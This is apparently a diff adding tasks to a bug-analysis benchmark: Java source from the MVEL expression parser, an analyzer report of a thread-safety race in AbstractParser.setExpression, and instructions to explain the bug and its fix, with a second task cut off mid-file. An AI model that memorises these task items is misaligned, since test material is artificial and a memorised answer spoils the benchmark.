+            lastWasComment = true;
+
+            pCtx.setLineCount(line);
+
+            if ((start = cursor) >= length) return OP_TERMINATE;
+
+            return OP_RESET_FRAME;
+        }
+        else if (expr[cursor] == '/' && lookAhead() == '*') {
+            /**
+             * Handle multi-line comments.
+             */
+            int len = length - 1;
+
+            /**
+             * This probably seems highly redundant, but sub-compilations within the same
+             * source will spawn a new compiler, and we need to sync this with the
+             * parser context;
+             */
+            line = pCtx.getLineCount();
+
+            while (true) {
+                cursor++;
+                /**
+                 * Since multi-line comments may cross lines, we must keep track of any line-break
+                 * we encounter.
+                 */
+                skipWhitespaceWithLineAccounting();
+
+                if (cursor == len) {
+                    throw new CompileException("unterminated block comment", expr, cursor);
+                }
+                if (expr[cursor] == '*' && lookAhead() == '/') {
+                    if ((cursor += 2) >= length) return OP_RESET_FRAME;
+                    skipWhitespaceWithLineAccounting();
+                    start = cursor;
+                    break;
+                }
+            }
+
+            pCtx.setLineCount(line);
+
+            if (lastNode instanceof LineLabel) {
+                pCtx.getLastLineLabel().setLineNumber(line);
+                pCtx.addKnownLine(line);
+            }
+
+            lastWasComment = true;
+
+            return OP_RESET_FRAME;
+        }
+
+        return OP_CONTINUE;
+    }
+
+    /**
+     * Checking from the current cursor position, check to see if we're inside a contiguous identifier.
+     *
+     * @return
+     */
+    protected boolean tokenContinues() {
+        if (cursor == length) return false;
+        else if (expr[cursor] == '.' || expr[cursor] == '[') return true;
+        else if (isWhitespace(expr[cursor])) {
+            int markCurrent = cursor;
+            skipWhitespace();
+            if (cursor != length && (expr[cursor] == '.' || expr[cursor] == '[')) return true;
+            cursor = markCurrent;
+        }
+        return false;
+    }
+
+
+    protected void expectEOS() {
+        skipWhitespace();
+        if (cursor != length && expr[cursor] != ';') {
+            switch (expr[cursor]) {
+                case '&':
+                    if (lookAhead() == '&') return;
+                    else break;
+                case '|':
+                    if (lookAhead() == '|') return;
+                    else break;
+                case '!':
+                    if (lookAhead() == '=') return;
+                    else break;
+
+                case '<':
+                case '>':
+                    return;
+
+                case '=': {
+                    switch (lookAhead()) {
+                        case '=':
+                        case '+':
+                        case '-':
+                        case '*':
+                            return;
+                    }
+                    break;
+                }
+
+                case '+':
+                case '-':
+                case '/':
+                case '*':
+                    if (lookAhead() == '=') return;
+                    else break;
+            }
+
+            throw new CompileException("expected end of statement but encountered: "
+                    + (cursor == length ? "<end of stream>" : expr[cursor]), expr, cursor);
+        }
+    }
+
+    protected boolean isNextIdentifier() {
+        while (cursor != length && isWhitespace(expr[cursor])) cursor++;
+        return cursor != length && isIdentifierPart(expr[cursor]);
+    }
+
+    /**
+     * Capture from the current cursor position, to the end of the statement.
+     */
+    protected void captureToEOS() {
+        while (cursor != length) {
+            switch (expr[cursor]) {
+                case '(':
+                case '[':
+                case '{':
+                    cursor = balancedCapture(expr, cursor, expr[cursor]);
+                    if (cursor >= length) return;
+                    break;
+
+                case ';':
+                case '}':
+                    return;
+            }
+            cursor++;
+        }
+    }
+
+    /**
+     * From the current cursor position, capture to the end of statement, or the end of line, whichever comes first.
+     */
+    protected void captureToEOSorEOL() {
+        while (cursor != length && (expr[cursor] != '\n' && expr[cursor] != '\r' && expr[cursor] != ';')) {
+            cursor++;
+        }
+    }
+
+    /**
+     * From the current cursor position, capture to the end of the line.
+     */
+    protected void captureToEOL() {
+        while (cursor != length && (expr[cursor] != '\n')) cursor++;
+    }
+
+    protected void captureIdentifier() {
+        boolean captured = false;
+        if (cursor == length) throw new CompileException("unexpected end of statement: EOF", expr, cursor);
+        while (cursor != length) {
+            switch (expr[cursor]) {
+                case ';':
+                    return;
+
+                default: {
+                    if (!isIdentifierPart(expr[cursor])) {
+                        if (captured) return;
+                        throw new CompileException("unexpected symbol (was expecting an identifier): " + expr[cursor], expr, cursor);
+                    }
+                    else {
+                        captured = true;
+                    }
+                }
+            }
+            cursor++;
+        }
+    }
+
+    /**
+     * From the current cursor position, capture to the end of the current token.
+     */
+    protected void captureToEOT() {
+        skipWhitespace();
+        do {
+            switch (expr[cursor]) {
+                case '(':
+                case '[':
+                case '{':
+                    if ((cursor = balancedCapture(expr, cursor, expr[cursor])) == -1) {
+                        throw new CompileException("unbalanced braces", expr, cursor);
+                    }
+                    break;
+
+                case '=':
+                case '&':
+                case '|':
+                case ';':
+                    return;
+
+                case '.':
+                    skipWhitespace();
+                    break;
+
+                case '\'':
+                    cursor = captureStringLiteral('\'', expr, cursor, length);
+                    break;
+                case '"':
+                    cursor = captureStringLiteral('"', expr, cursor, length);
+                    break;
+
+                default:
+                    if (isWhitespace(expr[cursor])) {
+                        skipWhitespace();
+
+                        if (expr[cursor] == '.') {
+                            if (cursor != length) cursor++;
+                            skipWhitespace();
+                            break;
+                        }
+                        else {
+                            trimWhitespace();
+                            return;
+                        }
+                    }
+            }
+        }
+        while (++cursor != length);
+    }
+
+    protected void captureToEOTNEW() {
+        skipWhitespace();
+        boolean dims = false;
+        do {
+            switch (expr[cursor]) {
+                case '{':
+                    if (dims) return;
+
+                case '[':
+                    dims = true;
+                    if ((cursor = balancedCapture(expr, cursor, expr[cursor])) == -1) {
+                        throw new CompileException("unbalanced braces", expr, cursor);
+                    }
+                    break;
+                case '(':
+                    if ((cursor = balancedCapture(expr, cursor, expr[cursor])) == -1) {
+                        throw new CompileException("unbalanced braces", expr, cursor);
+                    }
+                    break;
+
+                case '=':
+                case '&':
+                case '|':
+                case ';':
+                    return;
+
+                case '.':
+                    skipWhitespace();
+                    break;
+
+                case '\'':
+                    cursor = captureStringLiteral('\'', expr, cursor, length);
+                    break;
+                case '"':
+                    cursor = captureStringLiteral('"', expr, cursor, length);
+                    break;
+
+                default:
+                    if (isWhitespace(expr[cursor])) {
+                        skipWhitespace();
+
+                        if (expr[cursor] == '.') {
+                            if (cursor != length) cursor++;
+                            skipWhitespace();
+                            break;
+                        }
+                        else {
+                            trimWhitespace();
+                            return;
+                        }
+                    }
+            }
+        }
+        while (++cursor != length);
+    }
+
+
+    protected boolean lastNonWhite(char c) {
+        int i = cursor - 1;
+        while (isWhitespace(expr[i])) i--;
+        return c == expr[i];
+    }
+
+    /**
+     * From the specified cursor position, trim out any whitespace between the current position and the end of the
+     * last non-whitespace character.
+     *
+     * @param pos - current position
+     * @return new position.
+     */
+    protected int trimLeft(int pos) {
+        while (pos != 0 && pos != start && isWhitespace(expr[pos - 1])) pos--;
+        return pos;
+    }
+
+    /**
+     * From the specified cursor position, trim out any whitespace between the current position and beginning of the
+     * first non-whitespace character.
+     *
+     * @param pos
+     * @return
+     */
+    protected int trimRight(int pos) {
+        while (pos != length && isWhitespace(expr[pos])) pos++;
+        return pos;
+    }
+
+    /**
+     * If the cursor is currently pointing to whitespace, move the cursor forward to the first non-whitespace
+     * character.
+     */
+    protected void skipWhitespace() {
+        while (cursor != length && isWhitespace(expr[cursor])) cursor++;
+    }
+
+    /**
+     * If the cursor is currently pointing to whitespace, move the cursor forward to the first non-whitespace
+     * character, but account for carraige returns in the script (updates parser field: line).
+     */
+    protected void skipWhitespaceWithLineAccounting() {
+        while (cursor != length && isWhitespace(expr[cursor])) {
+            switch (expr[cursor]) {
+                case '\n':
+                    line++;
+                    lastLineStart = cursor;
+                case '\r':
+                    cursor++;
+                    continue;
+            }
+            cursor++;
+        }
+    }
+
+    /**
+     * From the current cursor position, capture to the end of the next token junction.
+     */
+    protected void captureToNextTokenJunction() {
+        while (cursor != length) {
+            switch (expr[cursor]) {
+                case '{':
+                case '(':
+                    return;
+                case '[':
+                    int[] c = balancedCaptureWithLineAccounting(expr, cursor, '[');
+                    cursor = c[0] + 1;
+                    line += c[1];
+                    continue;
+
+                default:
+                    if (isWhitespace(expr[cursor])) {
+                        return;
+                    }
+                    cursor++;
+            }
+        }
+    }
+
+    /**
+     * From the current cursor position, trim backward over any whitespace to the first non-whitespace character.
+     */
+    protected void trimWhitespace() {
+        while (cursor != 0 && isWhitespace(expr[cursor - 1])) cursor--;
+    }
+
+
+    /**
+     * Check if the specified string is a reserved word in the parser.
+     *
+     * @param name
+     * @return
+     */
+    public static boolean isReservedWord(String name) {
+        return LITERALS.containsKey(name) || OPERATORS.containsKey(name);
+    }
+
+    /**
+     * Check if the specfied string represents a valid name of label.
+     *
+     * @param name
+     * @return
+     */
+    public static boolean isNotValidNameorLabel(String name) {
+        for (char c : name.toCharArray()) {
+            if (c == '.') return true;
+            else if (!isIdentifierPart(c)) return true;
+        }
+        return false;
+    }
+
+    protected void setExpression(String expression) {
+        if (expression != null && !"".equals(expression)) {
+            if ((this.expr = EX_PRECACHE.get(expression)) == null) {
+                synchronized (EX_PRECACHE) {
+                    length = (this.expr = expression.toCharArray()).length;
+
+                    // trim any whitespace.
+                    while (length != 0 && isWhitespace(this.expr[length - 1])) length--;
+
+                    char[] e = new char[length];
+
+                    for (int i = 0; i != e.length; i++)
+                        e[i] = expr[i];
+
+                    EX_PRECACHE.put(expression, e);
+                }
+            }
+            else {
+                length = this.expr.length;
+            }
+        }
+    }
+
+    protected void setExpression(char[] expression) {
+        length = (this.expr = expression).length;
+        while (length != 0 && isWhitespace(this.expr[length - 1])) length--;
+    }
+
+    /**
+     * Return the previous non-whitespace character.
+     *
+     * @return
+     */
+    protected char lookToLast() {
+        if (cursor == 0) return 0;
+        int temp = cursor;
+        while (temp != 0 && isWhitespace(expr[--temp])) ;
+        return expr[temp];
+    }
+
+    /**
+     * Return the last character (delta -1 of cursor position).
+     *
+     * @return
+     */
+    protected char lookBehind() {
+        if (cursor == 0) return 0;
+        return expr[cursor - 1];
+    }
+
+    /**
+     * Return the next character (delta 1 of cursor position).
+     *
+     * @return
+     */
+    protected char lookAhead() {
+        if (cursor < length) return expr[cursor + 1];
+        return 0;
+    }
+
+    /**
+     * Return the character, forward of the currrent cursor position based on the specified range delta.
+     *
+     * @param range
+     * @return
+     */
+    protected char lookAhead(int range) {
+        if ((cursor + range) >= length) return 0;
+        else {
+            return expr[cursor + range];
+        }
+    }
+
+
+    protected boolean isNextIdentifierOrLiteral() {
+        int tmp = cursor;
+        if (tmp == length) return false;
+        else {
+            while (tmp != length && isWhitespace(expr[tmp])) tmp++;
+            if (tmp == length) return false;
+            char n = expr[tmp];
+            return isIdentifierPart(n) || isDigit(n) || n == '\'' || n == '"';
+        }
+    }
+
+    public int nextNonBlank() {
+        if ((cursor + 1) >= length) {
+            return -1;
+        }
+        int i = cursor;
+        while (i != length && isWhitespace(expr[i])) i++;
+        return i;
+    }
+
+    public void expectNextChar_IW(char c) {
+        nextNonBlank();
+        if (cursor == length) throw new CompileException("unexpected end of statement", expr, cursor);
+        if (expr[cursor] != c)
+            throw new CompileException("unexpected character ('" + expr[cursor] + "'); was expecting: " + c);
+    }
+
+
+    /**
+     * NOTE: This method assumes that the current position of the cursor is at the end of a logical statement, to
+     * begin with.
+     * <p/>
+     * Determines whether or not the logical statement is manually terminated with a statement separator (';').
+     *
+     * @return
+     */
+    protected boolean isStatementNotManuallyTerminated() {
+        if (cursor >= length) return false;
+        int c = cursor;
+        while (c != length && isWhitespace(expr[c])) c++;
+        return !(c != length && expr[c] == ';');
+    }
+
+    protected ParserContext getParserContext() {
+        if (parserContext == null || parserContext.get() == null) {
+            newContext();
+        }
+        return parserContext.get();
+    }
+
+    public static ParserContext getCurrentThreadParserContext() {
+        return contextControl(GET_OR_CREATE, null, null);
+    }
+
+    public static void setCurrentThreadParserContext(ParserContext pCtx) {
+        contextControl(SET, pCtx, null);
+    }
+
+    /**
+     * Create a new ParserContext in the current thread.
+     */
+    protected void newContext() {
+        contextControl(SET, new ParserContext(), this);
+    }
+
+    /**
+     * Create a new ParserContext in the current thread, using the one specified.
+     *
+     * @param pCtx
+     */
+    protected void newContext(ParserContext pCtx) {
+        contextControl(SET, pCtx, this);
+    }
+
+    /**
+     * Remove the current ParserContext from the thread.
+     */
+    protected void removeContext() {
+        contextControl(REMOVE, null, this);
+    }
+
+    protected static ParserContext contextControl(int operation, ParserContext pCtx, AbstractParser parser) {
+        synchronized (getRuntime()) {
+            if (parserContext == null) parserContext = new ThreadLocal<ParserContext>();
+
+            switch (operation) {
+                case SET:
+                    pCtx.setRootParser(parser);
+                    parserContext.set(pCtx);
+                    return pCtx;
+
+                case REMOVE:
+                    parserContext.set(null);
+                    return null;
+
+                case GET_OR_CREATE:
+                    if (parserContext.get() == null) {
+                        parserContext.set(new ParserContext(parser));
+                    }
+
+                case GET:
+                    return parserContext.get();
+            }
+        }
+
+        return null;
+    }
+
+    protected static final int SET = 0;
+    protected static final int REMOVE = 1;
+    protected static final int GET = 2;
+    protected static final int GET_OR_CREATE = 3;
+
+    public boolean isDebugSymbols() {
+        return debugSymbols;
+    }
+
+    public void setDebugSymbols(boolean debugSymbols) {
+        this.debugSymbols = debugSymbols;
+    }
+
+    protected static String getCurrentSourceFileName() {
+        if (parserContext != null && parserContext.get() != null) {
+            return parserContext.get().getSourceFile();
+        }
+        return null;
+    }
+
+    protected void addFatalError(String message) {
+        getParserContext().addError(new ErrorDetail(getParserContext().getLineCount(), cursor - getParserContext().getLineOffset(), true, message));
+    }
+
+    protected void addFatalError(String message, int row, int cols) {
+        getParserContext().addError(new ErrorDetail(row, cols, true, message));
+    }
+
+    protected void addWarning(String message) {
+        getParserContext().addError(new ErrorDetail(message, false));
+    }
+
+    public static final int LEVEL_5_CONTROL_FLOW = 5;
+    public static final int LEVEL_4_ASSIGNMENT = 4;
+    public static final int LEVEL_3_ITERATION = 3;
+    public static final int LEVEL_2_MULTI_STATEMENT = 2;
+    public static final int LEVEL_1_BASIC_LANG = 1;
+    public static final int LEVEL_0_PROPERTY_ONLY = 0;
+
+    public static void setLanguageLevel(int level) {
+        OPERATORS.clear();
+        OPERATORS.putAll(loadLanguageFeaturesByLevel(level));
+    }
+
+    public static Map<String, Integer> loadLanguageFeaturesByLevel(int languageLevel) {
+        Map<String, Integer> operatorsTable = new HashMap<String, Integer>();
+        switch (languageLevel) {
+            case 5:  // control flow operations
+                operatorsTable.put("if", IF);
+                operatorsTable.put("else", ELSE);
+                operatorsTable.put("?", TERNARY);
+                operatorsTable.put("switch", SWITCH);
+                operatorsTable.put("function", FUNCTION);
+                operatorsTable.put("def", FUNCTION);
+                operatorsTable.put("isdef", ISDEF);
+
+            case 4: // assignment
+                operatorsTable.put("=", ASSIGN);
+                operatorsTable.put("var", UNTYPED_VAR);
+                operatorsTable.put("+=", ASSIGN_ADD);
+                operatorsTable.put("-=", ASSIGN_SUB);
+                operatorsTable.put("/=", ASSIGN_DIV);
+                operatorsTable.put("%=", ASSIGN_MOD);
+
+            case 3: // iteration
+                operatorsTable.put("foreach", FOREACH);
+                operatorsTable.put("while", WHILE);
+                operatorsTable.put("until", UNTIL);
+                operatorsTable.put("for", FOR);
+                operatorsTable.put("do", DO);
+
+            case 2: // multi-statement
+                operatorsTable.put("return", RETURN);
+                operatorsTable.put(";", END_OF_STMT);
+
+            case 1: // boolean, math ops, projection, assertion, objection creation, block setters, imports
+                operatorsTable.put("+", ADD);
+                operatorsTable.put("-", SUB);
+                operatorsTable.put("*", MULT);
+                operatorsTable.put("**", POWER);
+                operatorsTable.put("/", DIV);
+                operatorsTable.put("%", MOD);
+                operatorsTable.put("==", EQUAL);
+                operatorsTable.put("!=", NEQUAL);
+                operatorsTable.put(">", GTHAN);
+                operatorsTable.put(">=", GETHAN);
+                operatorsTable.put("<", LTHAN);
+                operatorsTable.put("<=", LETHAN);
+                operatorsTable.put("&&", AND);
+                operatorsTable.put("and", AND);
+                operatorsTable.put("||", OR);
+                operatorsTable.put("or", CHOR);
+                operatorsTable.put("~=", REGEX);
+                operatorsTable.put("instanceof", INSTANCEOF);
+                operatorsTable.put("is", INSTANCEOF);
+                operatorsTable.put("contains", CONTAINS);
+                operatorsTable.put("soundslike", SOUNDEX);
+                operatorsTable.put("strsim", SIMILARITY);
+                operatorsTable.put("convertable_to", CONVERTABLE_TO);
+
+                operatorsTable.put("#", STR_APPEND);
+
+                operatorsTable.put("&", BW_AND);
+                operatorsTable.put("|", BW_OR);
+                operatorsTable.put("^", BW_XOR);
+                operatorsTable.put("<<", BW_SHIFT_LEFT);
+                operatorsTable.put("<<<", BW_USHIFT_LEFT);
+                operatorsTable.put(">>", BW_SHIFT_RIGHT);
+                operatorsTable.put(">>>", BW_USHIFT_RIGHT);
+
+                operatorsTable.put("new", Operator.NEW);
+                operatorsTable.put("in", PROJECTION);
+
+                operatorsTable.put("with", WITH);
+
+                operatorsTable.put("assert", ASSERT);
+                operatorsTable.put("import", IMPORT);
+                operatorsTable.put("import_static", IMPORT_STATIC);
+
+                operatorsTable.put("++", INC);
+                operatorsTable.put("--", DEC);
+
+            case 0: // Property access and inline collections
+                operatorsTable.put(":", TERNARY_ELSE);
+        }
+        return operatorsTable;
+    }
+
+    /**
+     * Remove the current parser context from the thread.
+     */
+    public static void resetParserContext() {
+        contextControl(REMOVE, null, null);
+    }
+
+    protected static boolean isArithmeticOperator(int operator) {
+        return operator != -1 && operator < 6;
+    }
+
+    protected int arithmeticFunctionReduction(int operator) {
+        ASTNode tk;
+        int operator2;
+
+        boolean x = false;
+        int y = 0;
+
+        /**
+         * If the next token is an operator, we check to see if it has a higher
+         * precdence.
+         */
+        if ((tk = nextToken()) != null) {
+            if (isArithmeticOperator(operator2 = tk.getOperator()) && PTABLE[operator2] > PTABLE[operator]) {
+                xswap();
+                /**
+                 * The current arith. operator is of higher precedence the last.
+                 */
+                dStack.push(operator = operator2, nextToken().getReducedValue(ctx, ctx, variableFactory));
+
+                while (true) {
+                    // look ahead again
+
+                    if ((tk = nextToken()) != null && (operator2 = tk.getOperator()) != -1
+                            && operator2 != 37 && PTABLE[operator2] > PTABLE[operator]) {
+                        // if we have back to back operations on the stack, we don't xswap
+                        if (x) {
+                            xswap();
+                        }
+                        /**
+                         * This operator is of higher precedence, or the same level precedence.  push to the RHS.
+                         */
+                        dStack.push(operator = operator2, nextToken().getReducedValue(ctx, ctx, variableFactory));
+                        y = 1;
+                        continue;
+                    }
+                    else if (tk != null && operator2 != -1 && operator2 != 37) {
+                        if (PTABLE[operator2] == PTABLE[operator]) {
+                            // if we have back to back operations on the stack, we don't xswap             
+                            if (x) {
+                                xswap();
+                            }
+
+                            /**
+                             * Reduce any operations waiting now.
+                             */
+                            while (!dStack.isEmpty()) {
+                                dreduce();
+                            }
+
+                            /**
+                             * This operator is of the same level precedence.  push to the RHS.
+                             */
+                            dStack.push(operator = operator2, nextToken().getReducedValue(ctx, ctx, variableFactory));
+
+                            y++;
+                            continue;
+                        }
+                        else {
+                            /**
+                             * The operator doesn't have higher precedence. Therfore reduce the LHS.
+                             */
+                            if (!dStack.isEmpty()) {
+                                do {
+                                    if (y == 1) {
+                                        dreduce2();
+                                        y = 0;
+                                    }
+                                    else {
+                                        dreduce();
+                                    }
+                                }
+                                while (dStack.size() > 1);
+                            }
+
+                            if (!dStack.isEmpty()) {
+                                stk.push(dStack.pop());
+                                xswap();
+                            }
+
+                            operator = tk.getOperator();
+                            // Reduce the lesser or equal precedence operations.
+                            while (stk.size() != 1 && stk.peek2() instanceof Integer &&
+                                    ((operator2 = (Integer) stk.peek2()) < PTABLE.length) &&
+                                    PTABLE[operator2] >= PTABLE[operator]) {
+                                xswap();
+                                reduce();
+                            }
+
+                            y = 0;
+                        }
+                    }
+                    else {
+                        /**
+                         * There are no more tokens.
+                         */
+                        x = false;
+
+                        if (dStack.size() > 1) {
+                            do {
+                                if (y == 1) {
+                                    dreduce2();
+                                    y = 0;
+                                }
+                                else {
+                                    dreduce();
+                                }
+                            }
+                            while (dStack.size() > 1);
+
+                            x = true;
+                        }
+
+                        if (!dStack.isEmpty()) {
+                            stk.push(dStack.pop());
+                        }
+                        else if (x) {
+                            xswap();
+                        }
+
+                        y = 0;
+                        break;
+                    }
+
+                    if (tk != null && (tk = nextToken()) != null) {
+                        switch (operator) {
+                            case AND: {
+                                if (!((Boolean) stk.peek())) return OP_TERMINATE;
+                                else {
+                                    splitAccumulator.add(tk);
+                                    return AND;
+                                }
+                            }
+                            case OR: {
+                                if (((Boolean) stk.peek())) return OP_TERMINATE;
+                                else {
+                                    splitAccumulator.add(tk);
+                                    return OR;
+                                }
+                            }
+
+                            default:
+                                stk.push(tk.getReducedValue(ctx, ctx, variableFactory), operator);
+                        }
+                    }
+
+                    x = true;
+                    y = 0;
+                }
+            }
+            else if (!tk.isOperator()) {
+                throw new CompileException("unexpected token: " + tk.getName());
+            }
+            else {
+                reduce();
+                splitAccumulator.push(tk);
+            }
+        }
+
+        // while any values remain on the stack
+        // keep XSWAPing and reducing, until there is nothing left.
+        while (stk.size() > 1) {
+            reduce();
+            if (stk.size() > 1) xswap();
+        }
+
+        return OP_RESET_FRAME;
+    }
+
+    private void dreduce() {
+        stk.push(dStack.pop(), dStack.pop());
+
+        // reduce the top of the stack
+        reduce();
+    }
+
+    private void dreduce2() {
+        Object o1, o2;
+
+        o1 = dStack.pop();
+        o2 = dStack.pop();
+
+        if (!dStack.isEmpty()) stk.push(dStack.pop());
+
+        stk.push(o1);
+        stk.push(o2);
+
+        reduce();
+    }
+
+    /**
+     * XSWAP.
+     */
+    private void xswap() {
+        stk.push(stk.pop(), stk.pop());
+    }
+
+    /**
+     * This method is called when we reach the point where we must subEval a trinary operation in the expression.
+     * (ie. val1 op val2).  This is not the same as a binary operation, although binary operations would appear
+     * to have 3 structures as well.  A binary structure (or also a junction in the expression) compares the
+     * current state against 2 downrange structures (usually an op and a val).
+     */
+    protected void reduce() {
+        Object v1, v2;
+        int operator;
+        try {
+            switch (operator = (Integer) stk.pop()) {
+                case ADD:
+                case SUB:
+                case DIV:
+                case MULT:
+                case MOD:
+                case EQUAL:
+                case NEQUAL:
+                case GTHAN:
+                case LTHAN:
+                case GETHAN:
+                case LETHAN:
+                case POWER:
+                    stk.push(doOperations(stk.peek2(), operator, stk.pop2()));
+                    break;
+
+                case AND:
+                    v1 = stk.pop();
+                    stk.push(((Boolean) stk.pop()) && ((Boolean) v1));
+                    break;
+
+                case OR:
+                    v1 = stk.pop();
+                    stk.push(((Boolean) stk.pop()) || ((Boolean) v1));
+                    break;
+
+                case CHOR:
+                    v1 = stk.pop();
+                    if (!isEmpty(v2 = stk.pop()) || !isEmpty(v1)) {
+                        stk.clear();
+                        stk.push(!isEmpty(v2) ? v2 : v1);
+                        return;
+                    }
+                    else stk.push(null);
+                    break;
+
+                case REGEX:
+                    stk.push(java.util.regex.Pattern.compile(java.lang.String.valueOf(stk.pop())).matcher(java.lang.String.valueOf(stk.pop())).matches());
+                    break;
+
+                case INSTANCEOF:
+                    if ((v1 = stk.pop()) instanceof Class)
+                        stk.push(((Class) v1).isInstance(stk.pop()));
+                    else
+                        stk.push(currentThread().getContextClassLoader().loadClass(java.lang.String.valueOf(v1)).isInstance(stk.pop()));
+
+                    break;
+
+                case CONVERTABLE_TO:
+                    if ((v1 = stk.pop()) instanceof Class)
+                        stk.push(org.mvel2.DataConversion.canConvert(stk.pop().getClass(), (Class) v1));
+                    else
+                        stk.push(org.mvel2.DataConversion.canConvert(stk.pop().getClass(), currentThread().getContextClassLoader().loadClass(java.lang.String.valueOf(v1))));
+                    break;
+
+                case CONTAINS:
+                    stk.push(containsCheck(stk.peek2(), stk.pop2()));
+                    break;
+
+                case BW_AND:
+                    stk.push(asInt(stk.peek2()) & asInt(stk.pop2()));
+                    break;
+
+                case BW_OR:
+                    stk.push(asInt(stk.peek2()) | asInt(stk.pop2()));
+                    break;
+
+                case BW_XOR:
+                    stk.push(asInt(stk.peek2()) ^ asInt(stk.pop2()));
+                    break;
+
+                case BW_SHIFT_LEFT:
+                    stk.push(asInt(stk.peek2()) << asInt(stk.pop2()));
+                    break;
+
+                case BW_USHIFT_LEFT:
+                    int iv2 = asInt(stk.peek2());
+                    if (iv2 < 0) iv2 *= -1;
+                    stk.push(iv2 << asInt(stk.pop2()));
+                    break;
+
+                case BW_SHIFT_RIGHT:
+                    stk.push(asInt(stk.peek2()) >> asInt(stk.pop2()));
+                    break;
+
+                case BW_USHIFT_RIGHT:
+                    stk.push(asInt(stk.peek2()) >>> asInt(stk.pop2()));
+                    break;
+
+                case STR_APPEND:
+                    stk.push(new StringAppender(java.lang.String.valueOf(stk.peek2()))
+                            .append(java.lang.String.valueOf(stk.pop2())).toString());
+                    break;
+
+                case SOUNDEX:
+                    stk.push(Soundex.soundex(java.lang.String.valueOf(stk.pop()))
+                            .equals(Soundex.soundex(java.lang.String.valueOf(stk.pop()))));
+                    break;
+
+                case SIMILARITY:
+                    stk.push(similarity(java.lang.String.valueOf(stk.pop()), java.lang.String.valueOf(stk.pop())));
+                    break;
+            }
+        }
+        catch (ClassCastException e) {
+            throw new CompileException("syntax error or incompatable types", expr, cursor, e);
+        }
+        catch (ArithmeticException e) {
+            throw new CompileException("arithmetic error: " + e.getMessage(), e);
+        }
+        catch (Exception e) {
+            throw new CompileException("failed to subEval expression", e);
+        }
+    }
+
+    private static int _bwOpLookup(char c) {
+        switch (c) {
+            case '|':
+                return Operator.BW_OR;
+            case '&':
+                return Operator.BW_AND;
+            case '^':
+                return Operator.BW_XOR;
+            case '*':
+                return Operator.MULT;
+            case '/':
+                return Operator.DIV;
+            case '+':
+                return Operator.ADD;
+            case '%':
+                return Operator.MOD;
+            case '\u00AB':
+                return Operator.BW_SHIFT_LEFT;
+            case '\u00BB':
+                return Operator.BW_SHIFT_RIGHT;
+            case '\u00AC':
+                return Operator.BW_USHIFT_RIGHT;
+        }
+        return -1;
+    }
+
+    private static int asInt(final Object o) {
+        return (Integer) o;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.mvel2.compiler.AbstractParser.setExpression` reads with synchronization from `this.org.mvel2.compiler.AbstractParser.length`. Potentially races with unsynchronized write in method `AbstractParser.setExpression(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractParser.setExpression(String)
+
+### Procedure Id:
+org.mvel2.compiler.AbstractParser.setExpression(java.lang.String):void.4fe09cd98c7d467875b7c184d694b8ff
+
+### File:
+src/main/java/org/mvel2/compiler/AbstractParser.java
+
+### Key:
+AbstractParser.java|setExpression|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+16df3f54e00edd616a5745ffc28775c6
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4751/instruction.md b/inferredbugs-4751/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cc4ee78efb5ed051deaeb724226c060859d61e0b
--- /dev/null
+++ b/inferredbugs-4751/instruction.md
@@ -0,0 +1,534 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 67
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MVEL 2.0
+ * Copyright (C) 2007 The Codehaus
+ * Mike Brock, Dhanji Prasanna, John Graham, Mark Proctor
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.mvel2.compiler;
+
+import org.mvel2.CompileException;
+import org.mvel2.ParserContext;
+import org.mvel2.PropertyAccessException;
+import org.mvel2.ast.Function;
+import org.mvel2.optimizers.AbstractOptimizer;
+import org.mvel2.optimizers.impl.refl.nodes.WithAccessor;
+import static org.mvel2.util.ParseTools.*;
+import static org.mvel2.util.PropertyTools.getFieldOrAccessor;
+import org.mvel2.util.StringAppender;
+
+import java.lang.reflect.*;
+import java.util.*;
+
+/**
+ * This verifier is used by the compiler to enforce rules such as type strictness.  It is, as side-effect, also
+ * responsible for extracting type information.
+ *
+ * @author Mike Brock
+ * @author Dhanji Prasanna
+ */
+public class PropertyVerifier extends AbstractOptimizer {
+    private static final int DONE = -1;
+    private static final int NORM = 0;
+    private static final int METH = 1;
+    private static final int COL = 2;
+    private static final int WITH = 3;
+
+    private List<String> inputs = new LinkedList<String>();
+    private boolean first = false;
+    private boolean resolvedExternally;
+    private Map<String, Class> paramTypes;
+
+    private Class ctx = null;
+
+
+    public PropertyVerifier(char[] property, ParserContext parserContext) {
+        this.length = (this.expr = property).length;
+        this.pCtx = parserContext;
+    }
+
+    public PropertyVerifier(String property, ParserContext parserContext) {
+        this.length = (this.expr = property.toCharArray()).length;
+        this.pCtx = parserContext;
+    }
+
+    public PropertyVerifier(String property, ParserContext parserContext, Class root) {
+        this.length = (this.expr = property.toCharArray()).length;
+        this.pCtx = parserContext;
+        this.ctx = root;
+    }
+
+    public List<String> getInputs() {
+        return inputs;
+    }
+
+    public void setInputs(List<String> inputs) {
+        this.inputs = inputs;
